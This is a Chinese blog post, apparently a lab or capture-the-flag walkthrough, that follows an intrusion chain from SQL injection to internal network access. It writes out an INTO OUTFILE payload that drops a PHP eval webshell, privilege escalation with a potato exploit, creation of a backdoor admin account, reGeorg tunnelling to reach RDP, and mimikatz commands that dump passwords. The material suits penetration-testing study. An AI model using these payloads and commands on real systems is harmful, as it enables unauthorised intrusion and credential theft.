前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql注入到获得域控-上

sql注入到获得域控-上

作者头像
kam1
发布2022-03-08 13:56:24
1.2K0
发布2022-03-08 13:56:24
举报

0x01. 基于sql注入的webshell

可以利用mysql的导出函数,将查询

  • into outfile()

例如:id=1 union select 1,‘’ into outfile ‘c:/phpstudy/www/1.php 将id=1和联合查询出来的值导出到c:/phpstudy/www/1.php中,id=1的内容可能有很多,那么可以写id=1.1 让其查询不出结果’

  • into dumpfile() (可以16进制写入.)

id=7.1 union select 1,‘’ into dumpfile ‘c:/phpstudy/www/1.php’

当知道绝对路径,且导出权限开启的时候就可以拿到webshell

DNS注入 load_file. @@datadir

数据具体位置存储的路径 @@basedir 小技巧:在传参的时候?id[]=1 加上中括号有时候可以看到报错信息

0x02. Getshell查看信息

1. 初步收集身份信息

  • whoami 查看当前用户权限
  • netstat -ano 查看本机开放的端口
  • tasklist 查看本机运行的程序
  • systeminfo 查看计算机详细信息

2. Windows提权姿势:

  • Metasploit Framework提权
  • 系统漏洞提权
  • Cobalt Strike提权
  • 调用高权限服务组件提权

0x03. 通过sql注入拿到webshell

通过sql注入,通过into outfile函数,导出查询结果一句话木马到指定文件,可以拿到webshell

首先将传参的类型改为数组,这样很多时候可以爆出网站的绝对路径,知道绝对路径之后,可以使用into outfile函数进行导出一句话木马文件。 http://afsgr16-b1ferw.aqlab.cn/?id=1 union select 1,'<?php eval($_REQUEST[8])?>' into outfile 'c:/phpstudy/www/alva.php';

因为这里前面id=1的时候我没有修改,所以说,原有的数据也给导出到alva.php文件里面去了。 菜刀连接,使用命令行,查看当前用户身份权限: whoami

输入 net user net localgroup administrators(查看管理员用户组有哪些成员)可以看到,还有其他两个用户,这里test用户并不是管理员权限,那么就需要进行提权。

权限是由身份决定的,菜刀连接的核心是运行PHP代码,那么权限就是由运行php代码的这个用户身份决定的。 不同的进程不同的服务可能对应着不同的权限,可以找到权限足够的进程来执行命令即可。

0x04. 如何提升权限

  • 找到其他服务,调用其他服务或进程来执行命令
  • 把shell弹到msf、cs上,使用工具提权
  • 利用系统的漏洞来进行权限提升。(systeminfo 查看当前系统配置)

这里可以看到系统已经打了什么补丁,可以到提权辅助网页去进行查询。

将系统已经打了的补丁写进去,然后点击查询即可。

这里主要是使用烂土豆(CVE-2019-0803)提权,直接将烂土豆exe上传到目标服务器上,随便修改一个名字,然后打开命令终端,输入修改过后的名字 如1.exe -p "需要执行的命令"

代码语言:javascript
复制
既然现在已经是system权限了,那么试着添加一个用户,并且将这个用户添加进管理员组里面试试。
net user 用户名 密码 /add  添加用户账号密码
net localgroup administrators 用户名 /add 添加用户到本地管理员组

0x05. 远程连接目标主机

代码语言:javascript
复制
拿到了管理员权限,那么是不是可以用3389端口进行远程连接呢?	
注意点:
	netstat -ano 可以看到开放了哪些端口。
	一个IP下面不一定只有一台服务器,可能还有一个庞大的内网。
	目标地址的3389端口不一定对应着有webshell服务器的3389端口,这里有一个概念,端口转发/映射
	简单来说,服务器1.1.1.2:80端口对应内网192.168.1.3:80端口,这时候1.1.1.2:80端口接收到的数据包会被发给1.1.1.3:80端口上。
	
解决方法:
	正向连接:在目标服务器上设置中转站。通过PHP设置中转站,信息给php,php发起请求。
	反向连接:让目标服务器访问攻击者,攻击者需要设置一台公网服务器让目标服务器和攻击者请求,然后构成连接,但是需要外网环境。

这里用正向连接来做,将reGeorg文件夹中的tunnel.nosocket.php上传到服务器上面,并且自定义一个简单的名字,然后到网页访问这个地址。

当上传这个文件并且web访问的时候内容返回的是以上图片中的内容,那么程序就是正常运转中。 接下来到reGeorg目录中运行reGeorgsocksProxy.py脚本。

当出现这个页面的时候就证明成功跑起来了,-h 可以查看帮助.

这里用-l 指定地址 -p 指定端口 -u 指定连接文件

本地:reGeorgSocksProxy.py -l 127.0.0.1 -p 10086 -u net.php 在这里要连接服务器则将后面的指定连接文件修改为 目标地址即为:

python2 reGeorgSocksProxy -l 127.0.0.1 -p 10086 -u [http://afsgr16-b1ferw.aqlab.cn/net.php](http://afsgr16-b1ferw.aqlab.cn/net.php)

给本机10086端口传送数据,这个数据就会被发送给目标服务器。

reGeorgScoksProxy连接后,使用proxifier进行连接。

添加代理服务器,写127.0.0.1 10086端口,然后检查一下,检查成功则连接成功

新建一个规则,可以根据应用、端口等触发,这里就用mstsc(远程连接)触发,动作是使用代理。 设置好规则之后,使用菜刀,执行命令iponfig查看本机ip,然后在攻击机的mstsc远程连接此ip,用户是使用之前所创建的管理员 alva

0x06. 如何抓取管理员账户密码

连接上之后,可以用nmap、ICMP协议、Arp-scan等探测内网存活主机有哪些 因为部分内网都是统一用户名和密码,所以这时候可以用**猕猴桃(mimikatz.exe)**来抓取管理员的账号密码 而在Windows server 2008中,管理员账户和密码都是明文的。 所以它可以从内存中提取纯文本密码,哈希和kerberos票证。 在windows server 2012上就不储存明文 mimikatz还可以执行哈希传递,票证传递或构建Golden票证

现在在目标服务器上上传mimikatz.exe文件,并且用管理员权限运行

运行之后,输入log,生成日志文件,对mimikatz.exe进行的操作都会记录在这个文件里面。

然后进行权限提升,提升mimikatz可用的权限。 提升到最高的调试权限:privilege::debug

紧接着就可以进行抓取密码的操作了,输入sekurlsa::logonpasswords

命令执行之后,会将抓取到的数据全部存储在mimikatz.log文件中。

如此以来就抓到了管理员的账号密码了,利用内网密码唯一性,登录10.0.1.8主机,找到flag。 这时候需要用内网主机去连接10.0.1.8,用户名是默认的administrator 密码是我们所抓取到的密码。

总结: 通过sql注入导出文件权限,导出一句话木马。 通过菜刀连接,然后上传烂土豆进行提升权限 提权之后,需要远程连接到目标主机,但是因为3389端口映射/转发,所以不能确定该端口是映射的有木马的主机,这时候就需要用到正向连接,用php脚本做为沟通的桥梁,在目标主机上传reGeorg中的tunnel.nosocket.php文件,并且修改成一个简单的名字 使用python启动reGeorgSocksProxy.py,设置监听地址127.0.0.1,端口为不常用的任意端口,地址是之前上传的php文件的地址。 使用proxifier设置代理服务器为127.0.0.1,端口设置之前监听的端口,测试成功之后配置代理规则,因为这里是用mstsc.exe去连接目标主机,所以在应用程序中写mstsc.exe 动作使用代理即可。 用mstsc连接目标主机,进行抓取管理员账户密码的操作。上传mimikatz.exe,用管理员权限运行,然后输入log生成日志文件,输入`privilege::debug`开启最高权限调试,再输入输入`sekurlsa::logonpasswords`抓取管理员账户密码,命令执行之后抓取的内容会存入之前生成的log文件中。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-07-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01. 基于sql注入的webshell
  • 0x02. Getshell查看信息
    • 1. 初步收集身份信息
      • 2. Windows提权姿势:
      • 0x03. 通过sql注入拿到webshell
      • 0x04. 如何提升权限
      • 0x05. 远程连接目标主机
      • 0x06. 如何抓取管理员账户密码
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档